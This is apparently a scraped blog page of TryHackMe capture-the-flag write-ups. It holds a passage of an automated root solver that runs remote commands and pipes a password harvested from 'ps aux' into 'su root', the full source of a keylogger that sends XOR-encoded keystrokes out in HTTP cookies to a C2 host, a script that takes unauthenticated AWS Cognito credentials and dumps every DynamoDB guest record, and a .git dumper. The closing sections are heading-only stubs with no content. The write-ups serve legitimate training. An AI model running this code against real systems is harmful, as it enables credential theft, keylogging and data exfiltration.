    print(f"    USER FLAG: {user_flag or '(not found)'}")

    # --- Step 4: Extract root password from jukeboxd process args ---
    print("[+] Step 4: Extract --stream-pass from process list")
    ps = rce("ps aux")
    m = re.search(r"jukeboxd\.py --stream-pass\s+[\"']?([^\"'\s]+)[\"']?", ps)
    root_pass = m.group(1) if m else KNOWN_PASS
    source = "ps aux" if m else "fallback"
    print(f"    Stream pass ({source}): {root_pass}")

    # --- Step 5: su root -> root flag ---
    print("[+] Step 5: su root and read root flag")
    root_flag = ""
    for candidate in (root_pass, KNOWN_PASS):
        out = rce(f"echo {candidate} | su root -c 'cat /root/root.txt' || echo BAD_PASS")
        root_flag = find_flag_in(out)
        if root_flag:
            print(f"    Password worked: {candidate}")
            break
        print(f"    {candidate!r} rejected, trying next...")
    print(f"    ROOT FLAG: {root_flag or '(not found)'}")

    # --- Final summary ---
    print()
    print("=" * 46)
    print(f"USER FLAG : {user_flag or 'FAILED'}")
    print(f"ROOT FLAG : {root_flag or 'FAILED'}")
    print("=" * 46)


if __name__ == "__main__":
    main()

[TryHackMe Writeup] Packed Light

Wahiduddin Samani — Fri, 31 Jul 2026 07:00:44 +0000

**Network Forensics — C2 Keylogger Exfiltration via HTTP Cookie

**
File: traffic.pcapng
Category: Forensics
Difficulty: Easy
Flag: THM{V3r4_1s_w4tch1ng_0veR_y0u}

Step-by-Step

**Step 1 — Identify Suspicious Traffic

**
Loaded the pcap with Python + Scapy and counted TCP ports:

443   -> 368 packets
8080  -> 251 packets   <-- unusual

The hint from @0xMia mentioned "pinging some random :8080 address every single second" — port 8080 is the covert channel.

Step 2 — Inspect the 8080 Traffic

The very first request was a download:

GET /temp/updates.py HTTP/1.1
Host: byte-lotus-hotel.thm:8080

The server (34.41.103.191:8080, SimpleHTTP Python server) served updates.py — a keylogger C2 script:

import requests
import base64
from pynput import keyboard

C2_URL = "http://byte-lotus-hotel.thm:8080/"

def getkey():
    p1 = "H0t3lSt@ff0Nly"
    p2 = "K3epS3cr3t!"
    return p1 + p2

def xor(data: bytes, key: bytes) -> bytes:
    return bytes(b ^ key[i % len(key)] for i, b in enumerate(data))

def sendltr(character):
    raw_bytes = character.encode('utf-8')
    encrypted = xor(raw_bytes, getkey().encode('utf-8'))
    b64_string = base64.b64encode(encrypted).decode('utf-8')
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) ByteLotusClient/1.1",
        "Cookie": f"hotel_sess_state={b64_string}"
    }
    requests.get(C2_URL, headers=headers, timeout=0.5)

Key findings:

XOR key: H0t3lSt@ff0NlyK3epS3cr3t! (two concatenated strings)
Each keystroke: XOR → base64 → Cookie: hotel_sess_state= header
Sent via innocent-looking GET / requests

Step 3 — Extract the Exfil Cookies

All 30 keystrokes were found in cookie headers across the GET requests:

Cookie: hotel_sess_state=HA==
Cookie: hotel_sess_state=AA==
Cookie: hotel_sess_state=BQ==
...

Step 4 — Decode (base64 → XOR)

import base64

KEY = "H0t3lSt@ff0NlyK3epS3cr3t!"

def xor(data: bytes, key: str) -> bytes:
    kb = key.encode('utf-8')
    return bytes(b ^ kb[i % len(kb)] for i, b in enumerate(data))

for cookie in cookies:
    raw = base64.b64decode(cookie)
    print(xor(raw, KEY).decode(), end='')

Result

THM{V3r4_1s_w4tch1ng_0veR_y0u}

Covert Channel Summary

keyboard keystroke
    → XOR with "H0t3lSt@ff0NlyK3epS3cr3t!"
    → base64 encode
    → Cookie: hotel_sess_state=<b64>
    → GET / HTTP/1.1 to C2 at byte-lotus-hotel.thm:8080

Disguised as a hotel app "sync service" polling the server at regular intervals.

Tools Used

Python + Scapy — pcap parsing
Custom decoder — base64 + XOR
curl.exe — (optional) HTTP checks

# Byte Lotus - Network Forensics (C2 Keylogger Exfiltration)
# Fully automatic: finds C2 script, extracts XOR key from it,
# collects exfil cookies, decodes, prints flag.
#
# Usage: python solve_forensics.py <path_to_traffic.pcapng>

import sys
import re
import base64
from scapy.all import rdpcap

PCAP = sys.argv[1] if len(sys.argv) > 1 else r'traffic.pcapng'

def xor(data: bytes, key: str) -> bytes:
    kb = key.encode('utf-8')
    return bytes(b ^ kb[i % len(kb)] for i, b in enumerate(data))

print(f"[+] Reading {PCAP} ...")
pkts = rdpcap(PCAP)

# ---- Step 1: Find the C2 script download (GET /temp/updates.py) ----
print("\n[+] Step 1: Locating C2 script...")
script = b''
for p in pkts:
    if p.haslayer('TCP') and p.sport == 8080 and p['TCP'].payload:
        pay = bytes(p['TCP'].payload)
        if b'import requests' in pay:
            start = pay.find(b'import requests')
            end = pay.find(b'\r\n\r\n', start)
            script = pay[start:end] if end != -1 else pay[start:]
            break
        elif script and not pay.startswith(b'HTTP'):
            script += pay

if not script:
    print("[-] C2 script not found in capture!")
    sys.exit(1)

print("[+] C2 script found:")
print(script.decode('utf-8', errors='replace'))

# ---- Step 2: Extract XOR key from the script automatically ----
print("\n[+] Step 2: Extracting XOR key from script...")
text = script.decode('utf-8', errors='replace')

# Pattern: key parts assigned to string variables and concatenated
parts = re.findall(r'[pv]\d?\s*=\s*"([^"]+)"', text)
key = ''.join(parts)
if not key:
    # Fallback: look for any string near "return p1 + p2" style, or a single key var
    m = re.search(r'return\s+(\w+)\s*\+\s*(\w+)', text)
    if m:
        key = parts[0] + parts[1] if len(parts) >= 2 else ''
if not key:
    m = re.search(r'key\s*=\s*["\']([^"\']+)["\']', text, re.I)
    key = m.group(1) if m else ''

if not key:
    print("[-] Could not extract key automatically!")
    sys.exit(1)

print(f"[+] XOR key: {key!r}")

# ---- Step 3: Extract all exfil cookies in packet order ----
print("\n[+] Step 3: Extracting exfil cookies...")
cookies = []
for p in pkts:
    if p.haslayer('TCP') and p.dport == 8080 and p['TCP'].payload:
        pay = bytes(p['TCP'].payload)
        if b'hotel_sess_state=' in pay:
            for m in pay.split(b'hotel_sess_state=')[1:]:
                cookies.append(m.split(b'\r\n')[0].decode())

print(f"[+] Found {len(cookies)} cookies")

# ---- Step 4: Decode each keystroke (base64 -> XOR) ----
print("\n[+] Step 4: Decoding (base64 -> XOR)...")
chars = []
for c in cookies:
    try:
        raw = base64.b64decode(c)
        chars.append(xor(raw, key).decode('utf-8', errors='replace'))
    except Exception as e:
        chars.append(f"<err:{e}>")

message = ''.join(chars)

# ---- Step 5: Report flag ----
print("\n[+] Decoded keystroke stream:")
print(message)

flag = re.search(r'THM\{[^}]+\}', message)
if flag:
    print(f"\n[+] FLAG: {flag.group(0)}")
else:
    print("\n[!] No THM{...} flag pattern found in decoded data — check the full output above.")

[TryHackMe Writeup] Complimentary

Wahiduddin Samani — Fri, 31 Jul 2026 06:55:39 +0000

Complimentary — AWS Cognito & IAM Misconfiguration

Target: http://complimentary-wellness-app-332173347248.s3-website-us-east-1.amazonaws.com/
Category: Cloud
Difficulty: Easy
Flag: THM{fr33_app_fr33_d4t4!}

Step-by-Step

Step 1 — Recon: Fetch the S3 Website

curl.exe -s http://complimentary-wellness-app-332173347248.s3-website-us-east-1.amazonaws.com/

Found a static HTML page loading app.js and the AWS SDK.

Step 2 — Source Code Analysis: app.js

curl.exe -s http://complimentary-wellness-app-332173347248.s3-website-us-east-1.amazonaws.com/app.js

Key findings:

const IDENTITY_POOL_ID = "us-east-1:836c0949-292d-485b-b532-52d5ca7bb688";
const AWS_REGION = "us-east-1";
const TABLE_NAME = "complimentary-GuestWellnessProfiles";

AWS.config.credentials = new AWS.CognitoIdentityCredentials({
  IdentityPoolId: IDENTITY_POOL_ID,
});

The app uses Cognito Identity Pool to issue temporary AWS credentials to unauthenticated users, then reads from DynamoDB.

Step 3 — Get Temporary AWS Credentials via Cognito

Using Python with boto3:

import boto3

client = boto3.client("cognito-identity", region_name="us-east-1")
identity_response = client.get_id(IdentityPoolId="us-east-1:836c0949-292d-485b-b532-52d5ca7bb688")
creds = client.get_credentials_for_identity(IdentityId=identity_response["IdentityId"])

print(f"AccessKeyId: {creds['Credentials']['AccessKeyId']}")
print(f"SecretKey: {creds['Credentials']['SecretKey']}")
print(f"SessionToken: {creds['Credentials']['SessionToken']}")

Output:

[+] Got Cognito Identity ID: us-east-1:4d571309-b063-c4e6-e6d8-66e669ef0d6d
[+] Got temporary credentials:
    AccessKeyId: ASIAU2VYTBGYGDALDNDF
    SecretKey: fyKbPeg/OA5+secxeoe+...
    SessionToken: IQoJb3JpZ2luX2VjEMz//////////w...

Step 4 — Scan DynamoDB Table

dynamodb = boto3.client(
    "dynamodb",
    region_name="us-east-1",
    aws_access_key_id=creds["Credentials"]["AccessKeyId"],
    aws_secret_access_key=creds["Credentials"]["SecretKey"],
    aws_session_token=creds["Credentials"]["SessionToken"],
)

response = dynamodb.scan(TableName="complimentary-GuestWellnessProfiles")

Result: 5 items — Lambo, Ponzi, Vibe, Patch, and a hidden VIP profile.

Step 5 — Flag Found

The flag was in guest-vip-042's notes field:

notes: If you're reading this, the wellness app's guest role can read every profile, not just its own. THM{fr33_app_fr33_d4t4!}

Vulnerability

Cognito Identity Pool allows unauthenticated (guest) access
The UnauthRole IAM role grants dynamodb:Scan on the entire complimentary-GuestWellnessProfiles table
No row-level restriction — any visitor can dump every guest's data

Full Data Dump

guest_id	name	flag
guest-lambo	Lambo (@0xMia)	—
guest-ponzi	Ponzi (Satoshi_Probably)	—
guest-vibe	Vibe (Move Fast & Break Things)	—
guest-patch	Patch (Have You Tried Turning It Off)	—
guest-vip-042	Guest VIP-042	THM{fr33_app_fr33_d4t4!}

Tools Used

curl.exe — HTTP requests
boto3 (Python AWS SDK) — Cognito identity + DynamoDB scan

# Byte Lotus - Complimentary (AWS Cognito misconfiguration)
# Solves: THM{fr33_app_fr33_d4t4!}
#
# Usage: python solve_complimentary.py

import boto3

IDENTITY_POOL_ID = "us-east-1:836c0949-292d-485b-b532-52d5ca7bb688"
REGION = "us-east-1"
TABLE_NAME = "complimentary-GuestWellnessProfiles"

# Step 1: Get Cognito Identity ID (unauthenticated guest access)
client = boto3.client("cognito-identity", region_name=REGION)
identity_response = client.get_id(IdentityPoolId=IDENTITY_POOL_ID)
identity_id = identity_response["IdentityId"]
print(f"[+] Got Cognito Identity ID: {identity_id}")

# Step 2: Get temporary AWS credentials
credentials_response = client.get_credentials_for_identity(IdentityId=identity_id)
creds = credentials_response["Credentials"]
print(f"[+] Got temporary credentials:")
print(f"    AccessKeyId: {creds['AccessKeyId']}")
print(f"    SecretKey: {creds['SecretKey'][:20]}...")
print(f"    SessionToken: {creds['SessionToken'][:30]}...")

# Step 3: Create DynamoDB client with temp credentials
dynamodb = boto3.client(
    "dynamodb",
    region_name=REGION,
    aws_access_key_id=creds["AccessKeyId"],
    aws_secret_access_key=creds["SecretKey"],
    aws_session_token=creds["SessionToken"],
)

# Step 4: Scan the entire table (UnauthRole has dynamodb:Scan)
print(f"\n[+] Scanning table: {TABLE_NAME}")
response = dynamodb.scan(TableName=TABLE_NAME)
print(f"[+] Found {len(response['Items'])} guest profiles:\n")

for item in response["Items"]:
    guest_id = item.get("guest_id", {}).get("S", "?")
    name = item.get("name", {}).get("S", "?")
    notes = item.get("notes", {}).get("S", "?")
    password = item.get("password", {}).get("S", "?")
    location = item.get("location", {}).get("S", "?")
    email = item.get("email", {}).get("S", "?")
    phone = item.get("phone", {}).get("S", "?")

    print(f"  guest_id: {guest_id}")
    print(f"  name:     {name}")
    print(f"  notes:    {notes}")
    print(f"  password: {password}")
    print(f"  location: {location}")
    print(f"  email:    {email}")
    print(f"  phone:    {phone}")
    print()

    # Check for flag in any field
    for key in item.keys():
        val = item[key]
        if "S" in val and "THM{" in val["S"]:
            print(f"  *** FLAG FOUND in {key}: {val['S']} ***\n")

[TryHackMe Writeup] Room 404

Wahiduddin Samani — Fri, 31 Jul 2026 06:47:30 +0000

=============================================================

Byte Lotus .git Source Code Disclosure — Full Command Log

=============================================================

Target: http://MACHINE_IP:8080

---- Step 1: Initial Recon ----

Fetch homepage with headers

curl.exe -s -i http://MACHINE_IP:8080

Check robots.txt

curl.exe -s http://MACHINE_IP:8080/robots.txt

---- Step 2: .git Exposure Check ----

Check .git/config

curl.exe -s -o NUL -w "%{http_code}`n" http://MACHINE_IP:8080/.git/config

Check .git/HEAD

curl.exe -s http://MACHINE_IP:8080/.git/HEAD

Check other common paths

curl.exe -s -o NUL -w "%{http_code}n" http://MACHINE_IP:8080/.env curl.exe -s -o NUL -w "%{http_code}n" http://MACHINE_IP:8080/Dockerfile

---- Step 3: Git Object Traversal ----

Fetch commit object (from HEAD ref)

curl.exe -s http://MACHINE_IP:8080/.git/objects/0f/13550b4cb13e9f30c61d5b342c532d21e45bda | `
python -c "import zlib,sys; data=zlib.decompress(sys.stdin.buffer.read()); print(data.decode())"

Extract tree hash -> fa45dbd69394ea9e13683d9efb6a0220daac59d4

Fetch tree object

curl.exe -s http://MACHINE_IP:8080/.git/objects/fa/45dbd69394ea9e13683d9efb6a0220daac59d4 | `
python -c "import zlib,sys; data=zlib.decompress(sys.stdin.buffer.read()); null=data.find(b'\x00'); print(data[null+1:])"

---- Step 4: Retrieve Files ----

README.md (contains flag)

curl.exe -s http://MACHINE_IP:8080/.git/objects/a5/965c580fee91d852e5b19a8290da02d2926523 | `
python -c "import zlib,sys; data=zlib.decompress(sys.stdin.buffer.read()); null=data.find(b'\x00'); print(data[null+1:].decode())"

app.js

curl.exe -s http://MACHINE_IP:8080/.git/objects/25/75ab073f67615a27135663ed36794c2d2584fb | `
python -c "import zlib,sys; data=zlib.decompress(sys.stdin.buffer.read()); null=data.find(b'\x00'); print(data[null+1:].decode())"

index.html

curl.exe -s http://MACHINE_IP:8080/.git/objects/0a/12caa4e52a965e89e5eccf5760924b21aacbf7 | `
python -c "import zlib,sys; data=zlib.decompress(sys.stdin.buffer.read()); null=data.find(b'\x00'); print(data[null+1:].decode())"

---- Step 5: Alternative - Use Python dumper script ----

python git_dump.py http://MACHINE_IP:8080 ./dump_output

# GIT DUMPER - Fetches files from an exposed .git directory
# Usage: python git_dump.py <base_url> <output_dir>

import urllib.request
import zlib
import os
import sys

BASE = sys.argv[1].rstrip('/')
OUT = sys.argv[2]

def fetch_obj(sha):
    path = f"/.git/objects/{sha[:2]}/{sha[2:]}"
    url = BASE + path
    try:
        resp = urllib.request.urlopen(url)
        return resp.read()
    except Exception as e:
        print(f"  FAIL: {url} -> {e}")
        return None

def write_file(path, data):
    full = os.path.join(OUT, path)
    os.makedirs(os.path.dirname(full), exist_ok=True)
    with open(full, 'wb') as f:
        f.write(data)

def parse_tree(data):
    null = data.find(b'\x00')
    content = data[null+1:]
    entries = []
    i = 0
    while i < len(content):
        space = content.find(b' ', i)
        mode = content[i:space].decode()
        null2 = content.find(b'\x00', space+1)
        name = content[space+1:null2].decode()
        sha_start = null2 + 1
        sha = content[sha_start:sha_start+20].hex()
        entries.append((mode, name, sha))
        i = sha_start + 20
    return entries

# Read HEAD
head_raw = urllib.request.urlopen(BASE + '/.git/HEAD').read().decode().strip()
print(f"HEAD: {head_raw}")

if head_raw.startswith('ref: '):
    ref_path = head_raw[5:]
    commit_hash = urllib.request.urlopen(BASE + '/.git/' + ref_path).read().decode().strip()
else:
    commit_hash = head_raw

print(f"Commit hash: {commit_hash}")

# Fetch commit
commit_raw = fetch_obj(commit_hash)
commit_data = zlib.decompress(commit_raw).decode()
print(f"Commit:\n{commit_data}")

for line in commit_data.split('\n'):
    if line.startswith('tree '):
        tree_hash = line.split()[1]
        break

print(f"Tree hash: {tree_hash}")

# Fetch tree
tree_raw = fetch_obj(tree_hash)
tree_data = zlib.decompress(tree_raw)
entries = parse_tree(tree_data)

downloaded = []
for mode, name, sha in entries:
    print(f"  {mode} {name} -> {sha}")
    if mode in ('100644', '100664'):
        blob_raw = fetch_obj(sha)
        if blob_raw:
            blob_data = zlib.decompress(blob_raw)
            null = blob_data.find(b'\x00')
            content = blob_data[null+1:]
            write_file(name, content)
            downloaded.append(name)
            print(f"    -> Written {name} ({len(content)} bytes)")

print(f"\nDownloaded: {', '.join(downloaded)}")

Byte Lotus — .git Source Code Disclosure

Target: http://MACHINE_IP:8080
Category: Web
Difficulty: Very Easy
Flag: THM{byt3_l0tus_n3v3r_f0rg3ts}

Step-by-Step

Step 1 — Initial Reconnaissance

Check the homepage and response headers to identify the tech stack.

curl.exe -s -i http://MACHINE_IP:8080

Finding: Werkzeug/3.0.1 Python/3.12.3 — Flask/Python app. Footer reads "build staging", suggesting a development build with possible source exposure.

Also checked /robots.txt — returned 404 (nothing there).

Step 2 — Check for .git Exposure

Check common source-code disclosure paths.

curl.exe -s -o NUL -w "%{http_code}" http://MACHINE_IP:8080/.git/config
curl.exe -s http://MACHINE_IP:8080/.git/HEAD

Finding: /.git/config → 200 OK. /.git/HEAD → ref: refs/heads/main

The entire .git directory is exposed.

Step 3 — Dump the Git Repository

Fetch the commit object to find the tree hash, then walk the tree to find file blobs.

curl.exe -s http://MACHINE_IP:8080/.git/objects/0f/13550b4cb13e9f30c61d5b342c532d21e45bda

Decompress the commit object to extract the tree hash: fa45dbd69394ea9e13683d9efb6a0220daac59d4

Fetch and parse the tree object:

curl.exe -s http://MACHINE_IP:8080/.git/objects/fa/45dbd69394ea9e13683d9efb6a0220daac59d4

Tree contents:
| Mode | File | Hash |
|------|------|------|
| 100644 | README.md | a5965c580fee91d852e5b19a8290da02d2926523 |
| 100644 | app.js | 2575ab073f67615a27135663ed36794c2d2584fb |
| 100644 | index.html | 0a12caa4e52a965e89e5eccf5760924b21aacbf7 |

Step 4 — Fetch and Read Each File

README.md — contained the flag:

curl.exe -s http://MACHINE_IP:8080/.git/objects/a5/965c580fee91d852e5b19a8290da02d2926523 | python -c "import zlib,sys; data=zlib.decompress(sys.stdin.buffer.read()); null=data.find(b'\x00'); print(data[null+1:].decode())"

Output:

# Byte Lotus — Guest Experience Platform

Internal staging repository for the guest app and concierge personalization
service. Do not deploy this folder to production.

Staging flag (remove before launch): THM{byt3_l0tus_n3v3r_f0rg3ts}

app.js — front-end stub, no flag.

index.html — same as the homepage, no flag.

Tools Used

curl.exe — HTTP requests
python3 — decompress git objects (zlib)
Manual git object traversal (commit → tree → blobs)

Vulnerability

A /.git directory exposed on a staging server. The developer committed a "remove before launch" flag directly in README.md, and the production deployment left the .git metadata accessible.

[TryHackMe Writeup] The Concierge Knows Too Much

Wahiduddin Samani — Fri, 31 Jul 2026 06:37:23 +0000

[TryHackMe Writeup] The Brochure

Wahiduddin Samani — Fri, 31 Jul 2026 06:32:45 +0000

[TryHackMe Writeup] The Letter – Full OSINT Walkthrough

Wahiduddin Samani — Sat, 18 Apr 2026 07:28:58 +0000

[TryHackMe Writeup] The Letter – Full OSINT Walkthrough

[!NOTE]
This is a comprehensive, step-by-step CTF writeup for the "The Letter" OSINT challenge, demonstrating historical research, image analysis, and logical deduction to find the hidden postal code and the final flag.

Room Name: The Letter

Category: OSINT / Puzzle

Difficulty: Easy

🎯 Introduction & Objective

In this room, we step into the shoes of a postal worker. We intercept a battered, water-damaged letter containing a handwritten note and a torn newspaper clipping. Our objective is to piece together historical clues from these scattered fragments to answer two questions:

What is the postal code of the delivery address on the envelope?
What is the full name and age of the person mentioned in the note? (Flag)

Let’s dive into the investigation.

🔍 Step 1: Analyzing the Newspaper Clipping (Finding the Date)

Opening the zip file, we find a torn newspaper clipping from the French paper L'Ouest-Éclair. The main headline describing an event is torn, so we must rely on the surrounding articles to establish a timeline.

If we look closely at the secondary headlines, we see two massive clues:

"Amundsen a-t-il atteint le pôle Nord ?" (Has Amundsen reached the North Pole?)
"M. Herriot se déclare solidaire de M. Painlevé"

The Evidence: A quick search for Roald Amundsen North Pole airplane expedition yields the launch date of May 21, 1925. Corroborating this, Paul Painlevé served as the Prime Minister of France starting in April 1925.

We now know our mystery event took place in late May 1925.

⚓ Step 2: Identifying the Maritime Catastrophe

Now we can return to the torn main headline. We can read:

"Une catastrophe sur le [...] du Finistère"
"DEUX BATEAUX... ET DEUX CANOTS DE SAUVETAGE [...] noyés"

This translates to a disaster in the Finistère region involving two fishing boats and two lifeboats capsizing, with sailors drowning.

The Evidence: Knowing the date and the keywords, we perform a targeted OSINT search:

catastrophe Finistère canots de sauvetage mai 1925

[!TIP]
Using specific keywords in French based exactly on the clipping text drastically narrows down historical archives!

The first results point directly to the tragic Penmarc'h Lifeboat Disaster of May 23, 1925. During a freak storm, two SNSM rescue boats capsized while trying to save fishermen, resulting in the tragic deaths of 27 men. We have found our event.

📮 Step 3: Cracking the Postal Code

Our first challenge question asks for the postal code of the delivery address. Let's look at the outer envelope provided in the challenge files.

It is addressed to Édouard G. at the SNSM (Société Nationale de Sauvetage en Mer). Because the challenge revolves around his great-grandfather's heroics in Penmarc'h, it's highly logical that Édouard is stationed at the very same SNSM coastal station.

The Evidence: A quick lookup for the Penmarc'h postal code yields 29760.

[!WARNING]
The Rabbit Hole Trap: If you look closely at the blue ink scribbled over the torn holes on the envelope, it heavily resembles 53432. However, any seasoned OSINT investigator checking French postal codes knows that the first two digits indicate the department. Department 53 is Mayenne—a completely landlocked area with absolutely no sea rescue stations! The writer's sloppy cursive 29760 was simply distorted by water damage to look like 53432.

Answer 1: 29760

👤 Step 4: Uncovering the Identity for the Flag

We need to find the specific rescuer mentioned in Note.txt. The note reads:

"Ton arrière-grand-père n'avait même pas l'âge de passer le permis quand il s'est distingué ce jour-là. Le benjamin de l'équipe, et certainement pas le moins courageux."

The Evidence: The note reveals our hero was the youngest of the rescue team ("benjamin") and was too young to even have a driver's license (under 18).

[!IMPORTANT]
The legal driving age in France in the 1920s was 18, so we are looking for a teenager.

We can search historical archives of the Penmarc'h disaster for the youngest rescuer on the crews that day using a query like:

sauvetage penmarc'h 1925 "benjamin" ans mousse

The archives completely validate our theory: Yves-Marie Gourlaouen. He served as a mousse (cabin boy) on the rescue boats and went out into the deadly storm at the age of just 15 years old. He was awarded a silver medal of bravery for his actions.

🚩 Step 5: Formatting the Final Flag

The challenge requires the format THM{Name_Surname_age} and specifies: "only the first letter of the name and surname should be capitalised."

However, they give us a formatting example: THM{Pierre-Henry_Lagaffe_23}. Notice how both parts of the hyphenated first name retain their capitalization (P and H). Following this exact structural rule provided by the room creator, we map our hero into the flag format.

Answer 2: THM{Yves-Marie_Gourlaouen_15}

🏆 Conclusion

This was a fantastic OSINT room that beautifully stringed together real-world historical archives with deductive reasoning. It highlighted the importance of verifying visual clues (like validating post codes geographically) rather than just trusting messy handwriting at first glance.

DEV Community: Wahiduddin Samani

[TryHackMe Writeup] Do Not Disturb

Do Not Disturb — Boot2Root Writeup (How to Solve)

Attack Chain

Step-by-Step (manual reproduction)

Step 1 — Recon

Step 2 — Weak default credentials

Step 3 — NoSQL injection → staff login bypass

Step 4 — EJS template injection → RCE (poolside)

Step 5 — Lateral move: Node inspector → pipelinesvc

Step 6 — Root flag: raw block-device read (group disk)

Fully automated solver

Vulnerabilities (recap)

Mitigations

Tools Used

[TryHackMe Writeup] Overheard at Breakfast

🏨 Hacker Holidays — The Byte Lotus Hotel

🍳 Overheard at Breakfast — Full Walkthrough

**📝 Challenge Description

🗺️ Solution Overview

Step 1: Analyze the Conversation 🔍

The Conversation Screenshot

Full Conversation Transcript

Step 2: Extract Key Clues 🔑

Clue #1 — Email Address

Clue #2 — The Mystery Tool (Starts with "G")

Clue #3 — Challenge Tags

**Step 3: Compute the MD5 Hash 🔐

The Process

PowerShell Script

Alternative — Python

Alternative — Linux/Bash

Alternative — CyberChef

Result

**Step 4: Find the Gravatar Profile 🌐

Profile URL

JSON API (for structured data)

What We Find

The "About Me" Section — The Prize 🎯

Raw JSON Response

**Step 5: Identify the Encoding 🧬

How to recognize Base64:

Quick Reference: Common THM Flag Base64 Prefixes

Step 6: Decode the Flag 🚩

PowerShell

Python

Linux/Bash

CyberChef

🏆 THE FLAG

🧠 Skills & Concepts Covered

1. OSINT (Open Source Intelligence)

2. Social Media Investigation

3. Hashing & Encoding

🔗 Useful Links & Tools

📋 Quick Reference — Complete Attack Chain

**💡 Key Takeaways

[TryHackMe Writeup] Beach Bar

Beach Bar — Boot2Root (YAML Deserialization RCE + Credential Reuse)

Attack Chain (Summary)

Step-by-Step

Step 1 — Recon

Step 2 — Source Code Review: Leaked Credentials

Step 3 — Dashboard Enumeration

Step 4 — PyYAML Deserialization RCE

Step 5 — User Flag

Step 6 — Privilege Escalation Recon

Step 7 — Root Flag (Credential Reuse)

Automation

Vulnerabilities

Mitigations

Tools Used

[TryHackMe Writeup] Packed Light

**Network Forensics — C2 Keylogger Exfiltration via HTTP Cookie

Step-by-Step

**Step 1 — Identify Suspicious Traffic

Step 2 — Inspect the 8080 Traffic

Step 3 — Extract the Exfil Cookies

Step 4 — Decode (base64 → XOR)

Result

Covert Channel Summary

Step 6 — Root flag: raw block-device read (group `disk`)